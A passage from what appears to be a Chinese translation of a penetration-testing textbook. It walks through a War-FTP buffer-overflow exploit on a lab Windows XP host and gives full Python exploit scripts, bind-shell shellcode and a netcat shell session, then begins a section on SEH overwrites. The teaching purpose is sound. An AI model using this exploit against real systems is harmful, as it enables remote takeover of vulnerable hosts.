  Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0
  Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6
  Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2
  Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ap3Ar7Ar8
  Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4
  Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Ax2Ax3Ax4
  Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0
  Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7
  Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3
  Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9
  Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5
  Bk"
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  connect=s.connect(('192.168.20.10',21))
  response = s.recv(1024)
  print response
  s.send('USER ' + buffer  + '\r\n')
  response = s.recv(1024)
  print response
  s.send('PASS PASSWORD\r\n')
  s.close()

现在重新运行漏洞利用，使用从❶开始的生成模式，替换掉 1,100 个* A *。

root@kali:~# ./ftpexploit
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
331 User name okay, Need password.

在使用 Metasploit 的模式运行漏洞利用后，回到 Immunity 调试器，如图 17-7 所示，查看 EIP 中包含的值，并找出我们在攻击字符串中覆盖返回地址的位置。

图 17-7. 查找返回地址覆盖

War-FTP 再次崩溃，但这次 EIP 包含了我们生成的四个字节模式：32714131。我们可以使用 Mona 来确定32714131的 ASCII 等效值在 1,100 字符的循环模式中的准确位置。输入!mona pattern_offset 32714131可以仅获取偏移量，或者在 Immunity 调试器提示符下输入!mona findmsp，如图 17-8 所示，让 Mona 对所有寄存器和内存中的模式实例执行额外分析。

图 17-8. 查找 Mona 中的模式偏移

Mona 在内存中找到了循环模式的实例。命令的输出被写入到C:\logs\war-ftpd\findmsp.txt中。部分输出如下所示。

EIP contains normal pattern : 0x32714131 (offset 485)
ESP (0x00affd48) points at offset 493 in normal pattern (length 607)
EDI (0x00affe48) points at offset 749 in normal pattern (length 351)
EBP (0x00affda0) points at offset 581 in normal pattern (length 519)

验证偏移量

根据 Mona 的分析，我们的返回地址覆盖发生在攻击字符串的 485 字节位置。我们可以通过示例 17-4 来验证这一点。

示例 17-4. 验证 EIP 偏移

  root@kali:~# cat ftpexploit
  #!/usr/bin/python
  import socket
❶ buffer = "A" * 485 + "B" * 4 + "C" * 611
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  connect=s.connect(('192.168.20.10',21))
  response = s.recv(1024)
  print response
  s.send('USER ' + buffer  + '\r\n')
  response = s.recv(1024)
  print response
  s.send('PASS PASSWORD\r\n')
  s.close()

现在我们将创建一个攻击字符串，包含 485 个A、4 个B和 611 个C，如示例 17-4 中的❶所示。将新的字符串放入后，如果程序崩溃时 EIP 包含42424242，我们就知道找到了正确的返回地址四个字节。（记得在重新运行攻击前先在 Immunity Debugger 中重启 War-FTP。）现在，检查 EIP，如图 17-9 所示。

正如预期的那样，War-FTP 再次崩溃，这次 EIP 中是42424242。这个结果确认了我们找到了攻击字符串中返回地址的位置。接下来，我们需要找到一个位置来重定向执行并利用这个缓冲区溢出漏洞。

图 17-9. War-FTP 崩溃，EIP 填充了 B

劫持执行

在第十六章中讨论的利用示例中，我们将执行重定向到另一个函数。不幸的是，由于我们没有 War-FTP 的源代码来查看潜在有趣的代码，这次我们将采用一种更典型的利用开发技术。我们将不再将执行重定向到程序的其他部分，而是引入我们自己的指令，并将执行重定向到攻击字符串的一部分。

首先，我们需要找出在崩溃时是否可以轻松访问攻击字符串的一部分。请回顾一下!mona findmsp命令在C:\logs\warftp-d\findmsp.txt中的输出，如下所示。

EIP contains normal pattern : 0x32714131 (offset 485)
ESP (0x00affd48) points at offset 493 in normal pattern (length 607)
EDI (0x00affe48) points at offset 749 in normal pattern (length 351)
EBP (0x00affda0) points at offset 581 in normal pattern (length 519)

除了控制 EIP 外，寄存器 ESP、EDI 和 EBP 也指向攻击字符串的一部分。换句话说，我们的攻击字符串决定了这些寄存器的内容，没有任何东西能阻止我们将攻击字符串的一部分（当前崩溃中的C）替换为 CPU 可以执行的有用指令。

我们可以看到，ESP 的内存地址是00AFFD48，而 EBP 的内存地址稍微高一些，是00AFFDA0。EDI 的地址是00AFFE48。我们可以将执行重定向到这些位置中的任何一个，但是由于较低的地址更靠近栈的顶部，我们可以为指令提供更多空间。

注意

此外，请注意，ESP 并未直接指向我们C的开始位置。我们保存的返回指针覆盖位于模式中的第 485 个字节，但 ESP 在 493 位置，距离有 8 个字节（4 个字节用于返回地址和 4 个字节用于C）。

右键点击 Immunity Debugger 窗口右上方的ESP，选择Follow in Stack。栈会显示在 Immunity Debugger 窗口的右下角。向上滚动几行，如图 17-10 所示。

请注意，ESP 上方的那一行也包含了四个C，而在其上方则有四个B，表示返回地址。这告诉我们我们需要在攻击字符串中的C处开始我们的恶意指令（因为 ESP 指向的是C的四个字节），否则我们的 shellcode 的前四个字节将会被跳过。（这种情况会经常出现，因为这四个C是由调用约定造成的，表示该函数已经清理了参数。）

注意

调用约定是编译器中实现的一组规则，描述了子函数如何从其调用函数接收参数。一些约定会导致调用函数从栈中移除参数，而另一些约定则规定子函数必须移除参数。后一种约定将导致一个或多个双字（根据参数的数量）在栈上自动跳过，如图 17-10 所示，一旦子函数结束。

图 17-10. ESP 被攻击字符串控制

现在我们可以将00AFFD48直接放入返回地址，替换我们的C为 shellcode，这样我们就有了一个完整的漏洞利用，对吗？差不多，但还不完全正确。不幸的是，如果我们将地址00AFFD48硬编码到返回地址中，漏洞利用可能在我们这里能够正常工作，但在其他情况下却可能无法使用——而我们希望它尽可能普遍地工作。正如我们在第十六章中看到的，像 ESP 这样的寄存器的位置可能会根据程序因素（如提供的参数的长度）发生变化，或者因为栈与线程相关联，这意味着下一次攻击时栈地址可能会不同。幸运的是，跳转到 CPU 寄存器以执行其内容的汇编语言指令是JMP ESP（或者根据需要使用其他寄存器名称）。在未启用 ASLR 的操作系统中，例如我们的 Windows XP SP3 目标，Windows DLLs 每次都会加载到相同的内存位置。这意味着如果我们在 Windows XP 目标的可执行模块中找到JMP ESP，它应该在每台 Windows XP SP3 英文版机器上都在相同的位置。

事实上，JMP ESP并不是我们唯一的选择。只要我们最终能够将执行指向 ESP，我们就可以使用与JMP ESP等价的指令，甚至可以使用一系列指令。例如，CALL ESP也可以工作，或者PUSH ESP后跟RET，这样就可以将执行转到 ESP 中的内存地址。

我们可以通过命令!mona jmp -r esp在 War-FTP 的可执行模块中找到所有JMP ESP及其逻辑等价物，如图 17-11 所示。

图 17-11. 使用 Mona 查找JMP ESP

结果写入到C:\logs\war-ftpd\jmp.txt。我们得到了 84 个可能的JMP ESP（或等效）指令。有些可能包含不良字符（如本章后面讨论的那样）——我们应该选择哪些指令呢？根据经验，优先选择属于应用程序本身的模块，而不是操作系统。如果这不可能，尝试选择相对稳定的模块，如MSVCRT.dll，因为与其他 Windows 模块相比，Windows 补丁对该模块的更改非常少（尽管仍有可能根据操作系统的语言进行更改）。Mona 在MSVCRT.dll中找到的JMP ESP指令如下所示。

0x77c35459 : push esp # ret  |  {PAGE_EXECUTE_READ} [MSVCRT.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\MSVCRT.dll)
0x77c354b4 : push esp # ret  |  {PAGE_EXECUTE_READ} [MSVCRT.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\MSVCRT.dll)
0x77c35524 : push esp # ret  |  {PAGE_EXECUTE_READ} [MSVCRT.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\MSVCRT.dll)
0x77c51025 : push esp # ret  |  {PAGE_EXECUTE_READ} [MSVCRT.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\MSVCRT.dll)

让我们使用第一个：PUSH ESP，然后在0x77C35459处出现RET。如第十六章所示，我们可以设置断点，在我们到达重定向执行到 ESP 的指令时暂停执行，并在替换C为待执行指令之前确保一切正常。使用命令bp 0x77C35459 在免疫调试器中设置一个断点，如图 17-12 所示。（要查看所有当前设置的断点，请在免疫调试器中转到视图 ▸ 断点。）

图 17-12. 免疫调试器中的断点

现在，将攻击字符串中的四个B替换为指向 ESP 重定向位置的地址，如示例 17-5 所示。

示例 17-5. 使用来自可执行模块的返回地址

root@kali:~# cat ftpexploit
#!/usr/bin/python
import socket
buffer = "A" * 485 + "\x59\x54\xc3\x77" + "C" * 4 + "D" * 607 ❶
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer  + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()

准备好断点后，我们将新的返回地址放在攻击字符串的正确位置，位于❶处，并将 611 个C替换为四个C，然后是 607 个D，以补偿 ESP 前的攻击字符串的四个字节。将攻击字符串放置好后，针对 War-FTP 运行漏洞，看看是否能够在免疫调试器中达到我们的断点，如图 17-13 所示。

图 17-13. 我们达到了断点。

完美——注意到在免疫调试器窗口底部，我们击中了断点。

注意

如果你忘记考虑字节序，可能无法达到断点；相反，程序会在5954C377处因访问冲突而崩溃。确保将字节转换为小端格式。

接下来的命令将在 Immunity Debugger 窗口的 CPU 面板左上方显示。使用 F7 一次执行一个命令，而不是让程序继续正常运行。我们按 F7 两次来执行 PUSH ESP 和 RET 指令，并且如预期的那样，执行被重定向到我们的 Ds（十六进制的 44），如图 17-14 所示。

图 17-14. 将执行重定向到我们的攻击字符串

获取一个 Shell

现在，我们只需将前一节中的 Ds 替换成一些有用的内容，以便 CPU 代表我们执行。在第四章中，我们使用 Metasploit 工具 Msfvenom 生成了恶意可执行文件。我们也可以使用它生成原始的 shellcode，放入我们手写的利用程序中。例如，我们可以告诉被劫持的 CPU 在 TCP 端口 4444（或任何其他端口）上打开一个绑定 Shell，通过使用 Msfvenom 生成 Metasploit 负载的 shellcode。

我们需要告诉 Msfvenom 使用哪种负载——在这个例子中是 windows/shell_bind_tcp，即内联 Windows 命令 Shell。我们还需要提供它能用于我们 shellcode 的最大大小。

注意

在你尝试崩溃 War-FTP 时，你会注意到实际上可以将攻击字符串稍微增大，但在大约 1,150 个字符时，事情开始变得异常。（我们将在第十八章中看到这一点。）在 1,100 个字符时我们是安全的，并且我们的利用将按预期每次都能正常工作。

我们当前的利用字符串包含 607 个 Ds，因此我们有 607 字节的空间用于我们的 shellcode。最后，我们需要告诉 Msfvenom 在创建负载时应避免哪些特殊字符。在这种情况下，我们需要避免空字节（\x00）、回车符（\x0d）、换行符（\x0a）和 @（\x40）。

注意

查找坏字符是一个高级主题，超出了本书的范围，所以请相信我，这些是适用于此利用的正确字符。这些坏字符是有原因的：空字节（null byte）终止字符串，回车符（carriage return）和换行符（line feed）表示新的一行，＠将破坏 user@server 的 FTP 登录语法。欲了解更多信息，请查看我的博客文章“使用 Immunity Debugger 和 Mona.py 查找坏字符”（www.bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/）。

将这些信息输入到 Msfvenom 中，如示例 17-6 所示。

示例 17-6. 使用 Msfvenom 生成 shellcode

root@kali:~# msfvenom -p windows/shell_bind_tcp -s 607 -b '\x00\x40\x0a\x0d'
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
buf =
"\xda\xd4\xd9\x74\x24\xf4\xba\xa6\x39\x94\xcc\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\xb2\xdb\x61\x30" +
"\x52\x92\x8a\xc9\xa2\xc5\x03\x2c\x93\xd7\x70\x24\x81\xe7" +
"\xf3\x68\x29\x83\x56\x99\xba\xe1\x7e\xae\x0b\x4f\x59\x81" +
"\x8c\x61\x65\x4d\x4e\xe3\x19\x8c\x82\xc3\x20\x5f\xd7\x02" +
"\x64\x82\x17\x56\x3d\xc8\x85\x47\x4a\x8c\x15\x69\x9c\x9a" +
"\x25\x11\x99\x5d\xd1\xab\xa0\x8d\x49\xa7\xeb\x35\xe2\xef" +
"\xcb\x44\x27\xec\x30\x0e\x4c\xc7\xc3\x91\x84\x19\x2b\xa0" +
"\xe8\xf6\x12\x0c\xe5\x07\x52\xab\x15\x72\xa8\xcf\xa8\x85" +
"\x6b\xad\x76\x03\x6e\x15\xfd\xb3\x4a\xa7\xd2\x22\x18\xab" +
"\x9f\x21\x46\xa8\x1e\xe5\xfc\xd4\xab\x08\xd3\x5c\xef\x2e" +
"\xf7\x05\xb4\x4f\xae\xe3\x1b\x6f\xb0\x4c\xc4\xd5\xba\x7f" +
"\x11\x6f\xe1\x17\xd6\x42\x1a\xe8\x70\xd4\x69\xda\xdf\x4e" +
"\xe6\x56\xa8\x48\xf1\x99\x83\x2d\x6d\x64\x2b\x4e\xa7\xa3" +
"\x7f\x1e\xdf\x02\xff\xf5\x1f\xaa\x2a\x59\x70\x04\x84\x1a" +
"\x20\xe4\x74\xf3\x2a\xeb\xab\xe3\x54\x21\xda\x23\x9b\x11" +
"\x8f\xc3\xde\xa5\x3e\x48\x56\x43\x2a\x60\x3e\xdb\xc2\x42" +
"\x65\xd4\x75\xbc\x4f\x48\x2e\x2a\xc7\x86\xe8\x55\xd8\x8c" +
"\x5b\xf9\x70\x47\x2f\x11\x45\x76\x30\x3c\xed\xf1\x09\xd7" +
"\x67\x6c\xd8\x49\x77\xa5\x8a\xea\xea\x22\x4a\x64\x17\xfd" +
"\x1d\x21\xe9\xf4\xcb\xdf\x50\xaf\xe9\x1d\x04\x88\xa9\xf9" +
"\xf5\x17\x30\x8f\x42\x3c\x22\x49\x4a\x78\x16\x05\x1d\xd6" +
"\xc0\xe3\xf7\x98\xba\xbd\xa4\x72\x2a\x3b\x87\x44\x2c\x44" +
"\xc2\x32\xd0\xf5\xbb\x02\xef\x3a\x2c\x83\x88\x26\xcc\x6c" +
"\x43\xe3\xfc\x26\xc9\x42\x95\xee\x98\xd6\xf8\x10\x77\x14" +
"\x05\x93\x7d\xe5\xf2\x8b\xf4\xe0\xbf\x0b\xe5\x98\xd0\xf9" +
"\x09\x0e\xd0\x2b"

Msfvenom 生成的 shellcode 大小为 368 字节，给我们留出了足够的空间。将漏洞利用中的D替换为生成的 shellcode，如示例 17-7 所示。

示例 17-7. 我们完成的漏洞利用

root@kali:~# cat ftpexploit
#!/usr/bin/python
import socket
shellcode = ("\xda\xd4\xd9\x74\x24\xf4\xba\xa6\x39\x94\xcc\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\xb2\xdb\x61\x30" +
"\x52\x92\x8a\xc9\xa2\xc5\x03\x2c\x93\xd7\x70\x24\x81\xe7" +
"\xf3\x68\x29\x83\x56\x99\xba\xe1\x7e\xae\x0b\x4f\x59\x81" +
"\x8c\x61\x65\x4d\x4e\xe3\x19\x8c\x82\xc3\x20\x5f\xd7\x02" +
"\x64\x82\x17\x56\x3d\xc8\x85\x47\x4a\x8c\x15\x69\x9c\x9a" +
"\x25\x11\x99\x5d\xd1\xab\xa0\x8d\x49\xa7\xeb\x35\xe2\xef" +
"\xcb\x44\x27\xec\x30\x0e\x4c\xc7\xc3\x91\x84\x19\x2b\xa0" +
"\xe8\xf6\x12\x0c\xe5\x07\x52\xab\x15\x72\xa8\xcf\xa8\x85" +
"\x6b\xad\x76\x03\x6e\x15\xfd\xb3\x4a\xa7\xd2\x22\x18\xab" +
"\x9f\x21\x46\xa8\x1e\xe5\xfc\xd4\xab\x08\xd3\x5c\xef\x2e" +
"\xf7\x05\xb4\x4f\xae\xe3\x1b\x6f\xb0\x4c\xc4\xd5\xba\x7f" +
"\x11\x6f\xe1\x17\xd6\x42\x1a\xe8\x70\xd4\x69\xda\xdf\x4e" +
"\xe6\x56\xa8\x48\xf1\x99\x83\x2d\x6d\x64\x2b\x4e\xa7\xa3" +
"\x7f\x1e\xdf\x02\xff\xf5\x1f\xaa\x2a\x59\x70\x04\x84\x1a" +
"\x20\xe4\x74\xf3\x2a\xeb\xab\xe3\x54\x21\xda\x23\x9b\x11" +
"\x8f\xc3\xde\xa5\x3e\x48\x56\x43\x2a\x60\x3e\xdb\xc2\x42" +
"\x65\xd4\x75\xbc\x4f\x48\x2e\x2a\xc7\x86\xe8\x55\xd8\x8c" +
"\x5b\xf9\x70\x47\x2f\x11\x45\x76\x30\x3c\xed\xf1\x09\xd7" +
"\x67\x6c\xd8\x49\x77\xa5\x8a\xea\xea\x22\x4a\x64\x17\xfd" +
"\x1d\x21\xe9\xf4\xcb\xdf\x50\xaf\xe9\x1d\x04\x88\xa9\xf9" +
"\xf5\x17\x30\x8f\x42\x3c\x22\x49\x4a\x78\x16\x05\x1d\xd6" +
"\xc0\xe3\xf7\x98\xba\xbd\xa4\x72\x2a\x3b\x87\x44\x2c\x44" +
"\xc2\x32\xd0\xf5\xbb\x02\xef\x3a\x2c\x83\x88\x26\xcc\x6c" +
"\x43\xe3\xfc\x26\xc9\x42\x95\xee\x98\xd6\xf8\x10\x77\x14" +
"\x05\x93\x7d\xe5\xf2\x8b\xf4\xe0\xbf\x0b\xe5\x98\xd0\xf9" +
"\x09\x0e\xd0\x2b")
buffer = "A" * 485 + "\x59\x54\xc3\x77" + "C" * 4 + shellcode
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer  + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()

当你尝试运行漏洞利用时，出现了意外的情况。虽然我们仍然能够命中断点并将执行重定向到我们的 shellcode，但 War-FTP 在我们收到绑定到端口 4444 的 shell 之前崩溃了。shellcode 中的某些部分导致了崩溃，详情见图 17-15。

图 17-15. War-FTP 崩溃

Msfvenom 生成的编码 shellcode 在执行之前需要先解码，在解码过程中，它需要使用一个名为 getPC 的例程来找到自己在内存中的位置。查找当前内存位置的常用技术包括使用FSTENV指令，它将一个结构写入栈中，覆盖栈中的内容——在我们的情况下，部分 shellcode 就被覆盖了。我们需要做的就是将 ESP 从 shellcode 中移开，以便 getPC 有足够的空间执行，而不会破坏我们的 shellcode。（一般来说，问题是如果 EIP 和 ESP 的值太接近，shellcode 往往会自我破坏，无论是在解码过程中还是执行过程中。）这就是我们在上一次运行中崩溃的原因。

我们可以使用 Metasm 工具将简单的汇编指令转换为可以插入漏洞利用中的 shellcode。我们需要将 ESP 从内存中的 shellcode 位置移开。我们可以使用汇编指令ADD来完成此操作。其语法为ADD destination, amount。由于我们的栈使用较低的内存地址，因此我们从 ESP 中减去 1,500 字节。这个字节数应该足够大，以避免破坏；1,500 字节通常是一个安全的选择。

更改目录到/usr/share/metasploit-framework/tools并启动metasm_shell.rb，如示例 17-8 所示。

示例 17-8. 使用 Metasm 生成 shellcode

root@kali:~# cd /usr/share/metasploit-framework/tools/
root@kali:/usr/share/metasploit-framework/tools# ./metasm_shell.rb
type "exit" or "quit" to quit
use ";" or "\n" for newline
metasm > **sub esp, 1500**❶
"\x81\xec\xdc\x05\x00\x00"
metasm > **add esp, -1500**❷
"\x81\xc4\x24\xfa\xff\xff"

如果我们尝试sub esp, 1500 ❶，生成的 shellcode 会包含 null 字节，正如之前讨论的，null 字节是需要避免的坏字符，因为 FTP 规范要求避免使用它。相反，在metasm提示符中输入add esp, -1500 ❷（一个逻辑等价操作）。

现在将生成的 shellcode 添加到漏洞利用中，放置在windows/shell_bind_tcp shellcode 之前，如示例 17-9 所示。

示例 17-9. 将 ESP 移开后的漏洞利用

#!/usr/bin/python
import socket
shellcode = ("\xda\xd4\xd9\x74\x24\xf4\xba\xa6\x39\x94\xcc\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\xb2\xdb\x61\x30" +
"\x52\x92\x8a\xc9\xa2\xc5\x03\x2c\x93\xd7\x70\x24\x81\xe7" +
"\xf3\x68\x29\x83\x56\x99\xba\xe1\x7e\xae\x0b\x4f\x59\x81" +
"\x8c\x61\x65\x4d\x4e\xe3\x19\x8c\x82\xc3\x20\x5f\xd7\x02" +
"\x64\x82\x17\x56\x3d\xc8\x85\x47\x4a\x8c\x15\x69\x9c\x9a" +
"\x25\x11\x99\x5d\xd1\xab\xa0\x8d\x49\xa7\xeb\x35\xe2\xef" +
"\xcb\x44\x27\xec\x30\x0e\x4c\xc7\xc3\x91\x84\x19\x2b\xa0" +
"\xe8\xf6\x12\x0c\xe5\x07\x52\xab\x15\x72\xa8\xcf\xa8\x85" +
"\x6b\xad\x76\x03\x6e\x15\xfd\xb3\x4a\xa7\xd2\x22\x18\xab" +
"\x9f\x21\x46\xa8\x1e\xe5\xfc\xd4\xab\x08\xd3\x5c\xef\x2e" +
"\xf7\x05\xb4\x4f\xae\xe3\x1b\x6f\xb0\x4c\xc4\xd5\xba\x7f" +
"\x11\x6f\xe1\x17\xd6\x42\x1a\xe8\x70\xd4\x69\xda\xdf\x4e" +
"\xe6\x56\xa8\x48\xf1\x99\x83\x2d\x6d\x64\x2b\x4e\xa7\xa3" +
"\x7f\x1e\xdf\x02\xff\xf5\x1f\xaa\x2a\x59\x70\x04\x84\x1a" +
"\x20\xe4\x74\xf3\x2a\xeb\xab\xe3\x54\x21\xda\x23\x9b\x11" +
"\x8f\xc3\xde\xa5\x3e\x48\x56\x43\x2a\x60\x3e\xdb\xc2\x42" +
"\x65\xd4\x75\xbc\x4f\x48\x2e\x2a\xc7\x86\xe8\x55\xd8\x8c" +
"\x5b\xf9\x70\x47\x2f\x11\x45\x76\x30\x3c\xed\xf1\x09\xd7" +
"\x67\x6c\xd8\x49\x77\xa5\x8a\xea\xea\x22\x4a\x64\x17\xfd" +
"\x1d\x21\xe9\xf4\xcb\xdf\x50\xaf\xe9\x1d\x04\x88\xa9\xf9" +
"\xf5\x17\x30\x8f\x42\x3c\x22\x49\x4a\x78\x16\x05\x1d\xd6" +
"\xc0\xe3\xf7\x98\xba\xbd\xa4\x72\x2a\x3b\x87\x44\x2c\x44" +
"\xc2\x32\xd0\xf5\xbb\x02\xef\x3a\x2c\x83\x88\x26\xcc\x6c" +
"\x43\xe3\xfc\x26\xc9\x42\x95\xee\x98\xd6\xf8\x10\x77\x14" +
"\x05\x93\x7d\xe5\xf2\x8b\xf4\xe0\xbf\x0b\xe5\x98\xd0\xf9" +
"\x09\x0e\xd0\x2b")
buffer = "A" * 485 + "\x59\x54\xc3\x77" + "C" * 4 + "\x81\xc4\x24\xfa\xff\xff" + shellcode
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer  + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()

将 ESP 移开后，并且确保我们的 shellcode 在解码或执行过程中不会被破坏，再次运行漏洞利用，并使用 Kali Linux 上的 Netcat 连接到 Windows 目标的 TCP 端口 4444，如下所示。

root@kali:~# nc 192.168.20.10 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Georgia\Desktop>

果然，我们现在在 Windows 目标上拥有了一个 shell，如上面所示的 Windows 命令提示符所示。

总结

在这一章中，我们运用了来自第十六章的知识，利用一个真实世界中的易受攻击程序：War-FTP 程序，该程序在用户名字段存在缓冲区溢出问题。我们使程序崩溃并定位了返回地址，然后，我们并没有为被覆盖的返回地址硬编码一个内存地址，而是找到了一个在加载的 DLL 中的JMP ESP指令。接着，我们用 Msfvenom 生成的 shellcode 填充了攻击者控制的 ESP 寄存器。现在，我们已经成功劫持了一个真实程序的控制。

在下一章中，我们将研究另一种 Windows 利用技术——结构化异常处理程序覆盖。

第十八章. 结构化异常处理程序覆盖

当发生错误导致程序崩溃时，就会引发异常。访问无效的内存位置是程序可能遇到的一种异常类型。

Windows 系统使用一种名为结构化异常处理程序（SEH）的方法来处理程序发生的异常。SEH 类似于 Java 中的 try/catch 块：代码会执行，如果出现问题，函数停止执行，并将控制权传递给 SEH。

每个函数都可以有自己的 SEH 注册条目。一个SEH 注册记录长度为 8 个字节，由指向下一个 SEH 记录的指针（NSEH）和异常处理程序的内存地址组成，如图 18-1 所示。所有 SEH 条目的列表即为SEH 链。

图 18-1. SEH 结构

在许多情况下，应用程序仅使用操作系统的 SEH 条目来处理异常。你可能已经熟悉这种用法；它会弹出一个消息框，内容类似于“应用程序 X 遇到问题，需要关闭”。然而，程序也可以指定自定义 SEH 条目。当遇到异常时，执行会传递给 SEH 链，寻找能够处理该异常的条目。在 Immunity Debugger 中查看应用程序的 SEH 链，请前往视图 ▸ SEH 链，如图 18-2 所示。

图 18-2. 查看 SEH 链

SEH 覆盖漏洞

现在让我们看看如何利用 SEH 条目来控制程序。在通过第十七章的 War-FTP 缓冲区溢出示例时，一个自然的问题是，为什么我们只能为我们的 shellcode 使用 607 字节？为什么不能编写一个更长的攻击字符串，创建一个任意长度的 payload？

我们将通过用来崩溃 War-FTP 的漏洞开始探索 SEH 覆盖。与在第十七章示例中使用的 1,100 字节漏洞字符串不同，让我们尝试使用 1,150 字节的 A 字符串来崩溃 War-FTP，如示例 18-1 所示。

示例 18-1. 使用 1,150 个 A 的 War-FTP 漏洞

root@kali:~# cat ftpexploit2
#!/usr/bin/python
import socket
buffer = "A" * 1150
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer  + '\r\n')
response = s.recv(1024)
print response
s.close()

如图 18-3 所示，程序如预期般崩溃，但这次我们的访问违规异常与第十七章中的略有不同。EIP 指向0x77C3F973，这是MSVCRT.dll中的一个有效指令。与覆盖保存的返回指针并通过 EIP 控制使程序崩溃不同，War-FTP 此次崩溃时尝试写入内存地址0x00B00000。

注意 CPU 面板中的指令0x77C3F973是MOV BYTE PTR DS:[EAX], 0。基本上，程序正在尝试写入EAX值对应的内存位置。在 Immunity Debugger 的右上角的寄存器面板中，我们看到EAX包含值00B00000。我们的攻击字符串似乎破坏了EAX，因为程序现在正尝试写入一个无法写入的内存位置。在没有 EIP 控制的情况下，这次崩溃还有意义吗？非常长的攻击字符串常常会因为试图将数据写入栈的末尾而引发异常。

在我们放弃这个漏洞并继续之前，先看看 SEH 链。如图 18-4 所示，结构化异常处理程序（SEH）已被A覆盖。回想一下，在崩溃事件中，执行会转交给 SEH。尽管我们当时没有直接控制 EIP，但也许控制 SEH 可以让我们仍然劫持执行。

图 18-3。程序在没有 EIP 控制的情况下崩溃。图 18-4.SEH 被覆盖

就像我们在上一章中使用 Mona 创建一个循环模式来查看哪个四个字节覆盖了保存的返回指针一样，我们将使用命令!mona pattern_create 1150在 Immunity Debugger 中找到覆盖 SEH 的四个A，如图 18-5 所示。

图 18-5. 使用 Mona 生成循环模式

将生成的模式从C:\logs\war-ftpd\pattern.txt复制到利用代码中，替换掉 1,150 个A，如示例 18-2 所示。

示例 18-2. 使用模式生成精确定位攻击字符串中的 SEH 覆盖

  root@kali:~# cat ftpexploit2
  #!/usr/bin/python
  import socket
❶ buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
  Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8
  Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4
  Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0
  Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6
